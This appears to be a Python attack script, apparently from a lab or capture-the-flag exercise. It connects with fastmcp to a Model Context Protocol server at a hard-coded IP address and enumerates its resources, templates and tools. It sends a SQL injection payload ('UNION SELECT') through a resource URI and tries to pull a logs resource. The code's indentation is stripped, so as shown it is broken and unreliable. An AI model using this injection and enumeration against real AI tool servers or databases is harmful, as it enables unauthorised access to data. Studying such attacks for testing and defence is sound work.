import asyncio
from fastmcp import Client, FastMCP
client = Client("http://94.237.62.138:49199/mcp/")
async def main():
async with client:
resources = await client.list_resources()
resource_templates = await client.list_resource_templates()
tools = await client.list_tools()
print("Resources:")
for resource in resources:
print('***')
print(resource.name)
print(resource.description.strip())
try:
result_object = await client.read_resource("price://x'%20UNION%20SELECT%201--")
print(result_object[0].text)
except Exception as e:
print(f"[-] {e}")
try:
result = await client.read_resource("resource://logs")
print("[+] Logs retrieved successfully!\n")
if isinstance(result, list):
for entry in result:
if hasattr(entry, 'text'):
print(entry.text)
else:
print(entry)
else:
print(result)
except Exception as e:
print(f"[-] Error: {e}")
print("-"*50)
print("Resource Templates:")
for resource_template in resource_templates:
print('***')
print(resource_template.uriTemplate)
print(resource_template.description.strip())
print("-"*50)
print("Tools:")
for tool in tools:
print('***')
params = list(tool.inputSchema.get('properties').keys())
print(f"{tool.name}({','.join(params)})")
print(tool.description.strip())
asyncio.run(main())